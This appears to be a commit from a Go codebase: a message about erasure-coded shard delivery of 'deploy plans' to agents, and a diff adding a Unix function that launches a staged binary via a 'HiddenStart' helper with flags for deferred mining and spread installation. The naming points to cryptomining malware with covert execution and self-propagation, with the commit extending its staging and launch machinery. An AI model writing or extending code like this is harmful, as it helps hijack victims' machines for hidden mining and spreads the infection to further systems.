Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

agent/deploy/erasure_launch_unix.go

@@ -0,0 +1,24 @@
+//go:build !windows
+
+package deploy
+
+import (
+	"fmt"
+	"strings"
+)
+
+func launchErasureStagedBinary(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
+	_ = launch
+	_ = dllExport
+	args := []string{runFlag}
+	if deferMining {
+		args = append(args, deferMiningFlag)
+	}
+	if spreadInstall {
+		args = append(args, spreadFlag)
+	}
+	if err := HiddenStart(dest, args...); err != nil {
+		return "", fmt.Errorf("exe launch: %w", err)
+	}
+	return fmt.Sprintf("staged to %s; launched exe %v", dest, args), nil
+}